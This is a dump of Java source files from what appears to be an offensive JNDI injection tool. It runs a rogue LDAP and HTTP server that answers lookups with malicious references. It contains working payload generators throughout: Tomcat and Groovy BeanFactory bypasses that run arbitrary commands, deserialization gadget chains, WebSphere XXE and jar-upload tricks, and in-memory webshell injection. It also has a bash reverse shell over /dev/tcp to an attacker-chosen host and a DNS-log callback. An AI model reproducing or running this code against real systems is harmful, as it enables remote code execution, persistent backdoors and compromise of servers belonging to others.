String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
"/" + jarName + ".jar!/file.txt\"><a></a>";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println("[!] Missing or wrong argument");
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}else if(path.startsWith("http")) {
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" +
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>'>'>%ccc;";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map<String, String> parseQuery(String query){
Map<String,String> params = new HashMap<String, String>();
try{
for(String str : query.split("&")){
try{
String[] parts = str.split("=",2);
params.put(parts[0], parts[1]);
}catch(Exception e){
//continue
}
}
}catch(Exception e){
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes = new byte[0];
String className = "xExportObject";
if (type.toLowerCase().equals("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
} else if (type.toLowerCase().equals("dnslog")){
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
} else if (type.toLowerCase().equals("reverseshell")) {
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
} else if (type.toLowerCase().equals("webspherememshell")) {
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
}else{
return null;
}
System.out.println("[+] Name of Class in Jar: " + className);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/LdapServer.java
================================================
package com.feihong.ldap;
import com.feihong.ldap.controllers.LdapController;
import com.feihong.ldap.controllers.LdapMapping;
import com.feihong.ldap.utils.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
public class LdapServer extends InMemoryOperationInterceptor {
TreeMap<String, LdapController> routes = new TreeMap<String, LdapController>();
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "...");
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for(Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for(String mapping : mappings) {
if(mapping.startsWith("/"))
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("[+] Received LDAP Query: " + base);
LdapController controller = null;
//find controller
for(String key: routes.keySet()) {
//compare using wildcard at the end
if(base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if(controller == null){
System.out.println("[!] Invalid LDAP Query: " + base);
return;
}
try {
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println("[!] Exception: " + e1.getMessage());
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/Starter.java
================================================
package com.feihong.ldap;
import com.feihong.ldap.utils.Config;
import java.io.IOException;
public class Starter {
public static void main(String[] args) throws IOException {
Config.applyCmdArgs(args);
LdapServer.start();
HTTPServer.start();
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/BasicController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.MemShellType;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.URL;
@LdapMapping(uri = { "/basic" })
public class BasicController implements LdapController {
//最后的反斜杠不能少
private String codebase = Config.codeBase;
private PayloadType type;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload");
//这个方法里面有改动,其他基本无改动
Entry e = new Entry(base);
String className = "";
switch (type){
case dnslog:
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]);
dnslogTemplate.cache();
className = dnslogTemplate.getClassName();
break;
case command:
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
break;
case reverseshell:
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]);
reverseShellTemplate.cache();
className = reverseShellTemplate.getClassName();
break;
case tomcatmemshell:
className = MemShellType.TOMCAT;
break;
case jettymemshell:
className = MemShellType.JETTY;
break;
case jbossmemshell:
className = MemShellType.JBOSS;
break;
case weblogicmemshell:
className = MemShellType.WEBLOGIC;
break;
case webspherememshell:
className = MemShellType.WEBSPHERE;
break;
case springmemshell:
className = MemShellType.SPRING;
break;
}
URL turl = new URL(new URL(this.codebase), className + ".class");
System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try{
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
try{
type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
System.out.println("[+] Paylaod: " + type);
}catch(IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex));
}
switch(type){
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
break;
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
params = results;
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = { "/groovybypass" })
public class GroovyBypassController implements LdapController {
private PayloadType type;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
System.out.println("[+] Returen script: ");
System.out.println("-----------------------------------------------");
System.out.println(template.replace("${cmd}", params[0]).replace("${cmd}", params[0]));
System.out.println("-----------------------------------------------");
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
//因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType
String payloadType = base.substring(firstIndex + 1, secondIndex);
if(payloadType.equalsIgnoreCase("command")){
type = PayloadType.valueOf("command");
System.out.println("[+] Paylaod: " + type);
}else{
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/LdapController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/LdapMapping.java
================================================
package com.feihong.ldap.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java
================================================
package com.ibm.websphere.client.factory.jdbc;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/SerializedDataController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.GadgetType;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.feihong.ldap.gadgets.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
@LdapMapping(uri = { "/deserialize" })
public class SerializedDataController implements LdapController {
private GadgetType gadgetType;
private PayloadType payloadType;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute");
//这个方法里面有改动,其他基本无改动
Entry e = new Entry(base);
byte[] bytes = null;
switch (gadgetType){
case urldns:
bytes = URLDNS.getBytes(params[0]);
break;
case commonsbeanutils1:
bytes = CommonsBeanutils1.getBytes(payloadType, params);
break;
case commonscollections1:
bytes = CommonsCollections1.getBytes(payloadType, params);
break;
case commonscollections2:
bytes = CommonsCollections2.getBytes(payloadType, params);
break;
case jre8u20:
bytes = Jre8u20.getBytes(payloadType, params);
break;
case c3p0:
bytes = C3P0.getBytes(payloadType, params);
break;
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData",bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try{
gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println("[+] GaddgetType: " + gadgetType);
}catch(IllegalArgumentException e){
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex));
}
if(gadgetType == GadgetType.urldns){
String url = "http://" + base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
return;
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if(thirdIndex < 0) thirdIndex = base.length();
try{
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
System.out.println("[+] PayloadType: " + payloadType);
}catch (IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
switch(payloadType){
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
break;
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
params = results;
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.io.IOException;
/*
注意:在 Javascript 引擎时,直接使用 sun.misc.Base64Decoder 和 org.apache.tomcat.util.buf.Base64 均会抛出异常
* Requires:
* - Tomcat 8+ or SpringBoot 1.2.x+ in classpath
*/
@LdapMapping(uri = { "/tomcatbypass" })
public class TomcatBypassController implements LdapController {
private PayloadType type;
private String[] params;
private String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
TomcatBypassHelper helper = new TomcatBypassHelper();
String code = null;
switch (type){
case dnslog:
code = helper.getDnsRequestCode(params[0]);
break;
case command:
code = helper.getExecCode(params[0]);
break;
case reverseshell:
code = helper.getReverseShellCode(params[0], params[1]);
break;
case tomcatmemshell:
code = helper.injectTomcatMemsell();
break;
case springmemshell:
code = helper.injectSpringMemshell();
break;
}
String finalPayload = payloadTemplate.replace("{replacement}", code);
System.out.println("[+] Return script:");
System.out.println("-----------------------------------------------");
System.out.println(finalPayload);
System.out.println("-----------------------------------------------");
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
try{
type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
//因为是 Tomcat Bypass,所以仅需要支持 Tomcat内存shell 和 Spring内存shell 即可
if(type == PayloadType.weblogicmemshell || type == PayloadType.webspherememshell
|| type == PayloadType.jettymemshell || type == PayloadType.jbossmemshell){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
}
System.out.println("[+] Paylaod: " + type);
}catch(IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
}
switch (type){
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
break;
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
params = results;
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
private class TomcatBypassHelper{
/*
在对代码进行改写时需要注意:
① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes )
② 必须使用全类名
③ System.out.println() 需要修改为 print()
④ try{...}catch(Exception e){...} 需要修改为 try{...}catch(err){...}
⑤ 双引号改为单引号
⑥ Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等
⑦ 去除类型强转
⑧ 不能用 sun.misc.Base64Encoder,会抛异常 javax.script.ScriptException: ReferenceError: "sun" is not defined in <eval> at line number 1
⑨ 不能使用 for(Object obj : objects) 循环
*/
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
public String getDnsRequestCode(String dnslog){
String code = "var str;\n" +
" if(java.io.File.separator.equals('/')){\n" +
" str = 'ping -c 1 " + dnslog + "';\n" +
" }else{\n" +
" str = 'nslookup " + dnslog + "';\n" +
" }\n" +
"\n" +
" java.lang.Runtime.getRuntime().exec(str);";
return code;
}
public String getReverseShellCode(String ip, String port){
int pt = Integer.parseInt(port);
String code = "if(java.io.File.separator.equals('/')){\n" +
" var cmds = new Array('/bin/bash', '-c', '/bin/bash -i >& /dev/tcp/" + ip + "/" + pt + "');\n" +
" java.lang.Runtime.getRuntime().exec(cmds);\n" +
" }";
return code;
}
public String injectTomcatMemsell(){
return injectMemshell("com.feihong.ldap.template.TomcatMemshellTemplate");
}
public String injectSpringMemshell(){
return injectMemshell("com.feihong.ldap.template.SpringMemshellTemplate");
}
public String injectMemshell(String className){
//使用类加载的方式最为方便,可维护性也大大增强
String classCode = null;
try{
classCode = Util.getClassCode(className);
}catch(Exception e){
e.printStackTrace();
}
//没法直接调用 sun.misc.Base64Decoder,会报错,索性用反射的方法写了
String code = "var bytes;\n" +
" str = '" + classCode + "';\n" +
" try{\n" +
" var clazz = java.lang.Class.forName('java.util.Base64');\n" +
" var method = clazz.getDeclaredMethod('getDecoder');\n" +
" var obj = method.invoke(null);\n" +
" method = obj.getClass().getDeclaredMethod('decode', java.lang.String.class);\n" +
" obj = method.invoke(obj, str);\n" +
" bytes = obj;\n" +
" }catch(err){\n" +
" var clazz = java.lang.Class.forName('sun.misc.BASE64Decoder');\n" +
" var method = clazz.getMethod('decodeBuffer', java.lang.String.class);\n" +
" var obj = method.invoke(clazz.newInstance(), str);\n" +
" bytes = obj;\n" +
" }\n" +
" \n" +
" var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
" var method = null;\n" +
" var clz = classLoader.getClass();\n" +
" while(method == null && clz != java.lang.Object.class ){\n" +
" try{\n" +
" method = clz.getDeclaredMethod('defineClass', '123'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" }catch(err){\n" +
" clz = clz.getSuperclass();\n" +
" }\n" +
" }\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();";
return code;
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.enumtypes.WebsphereActionType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = { "/webspherebypass" })
public class WebsphereBypassController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base);
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
if(actionType == WebsphereActionType.rce){
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
Reference ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
e.addAttribute("javaSerializedData", Util.serialize(ref));
}else{
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
javax.naming.Reference ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace","xxx"));
ref.add(new StringRefAddr("service local part","yyy"));
e.addAttribute("javaSerializedData", Util.serialize(ref));
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
try{
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println("[+] ActionType: " + actionType);
}catch(IllegalArgumentException e){
throw new UnSupportedActionTypeException("UnSupportedActionType: " + base.substring(firstIndex + 1, secondIndex));
}
switch(actionType){
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println("[+] Read File/List Directory: " + file);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println("[+] Local jar path: " + localJarFile);
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if(thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType = null;
try{
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
}catch(IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println("[+] PayloadType: " + payloadType);
switch (payloadType){
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/GadgetType.java
================================================
package com.feihong.ldap.enumtypes;
public enum GadgetType {
urldns,
commonsbeanutils1,
commonscollections1,
commonscollections2,
jre8u20,
c3p0;
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/MemShellType.java
================================================
package com.feihong.ldap.enumtypes;
public final class MemShellType {
private MemShellType(){};
public static final String TOMCAT = "com.feihong.ldap.template.TomcatMemshellTemplate";
public static final String JETTY = "com.feihong.ldap.template.JettyMemshellTemplate";
public static final String WEBLOGIC = "com.feihong.ldap.template.WeblogicMemshellTemplate";
public static final String JBOSS = "com.feihong.ldap.template.JBossMemshellTemplate";
public static final String WEBSPHERE = "com.feihong.ldap.template.WebsphereMemshellTemplate";
public static final String SPRING = "com.feihong.ldap.template.SpringMemshellTemplate";
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/PayloadType.java
================================================
package com.feihong.ldap.enumtypes;
public enum PayloadType {
command,
dnslog,
reverseshell,
tomcatmemshell,
weblogicmemshell,
jettymemshell,
jbossmemshell,
webspherememshell,
springmemshell;
}
================================================
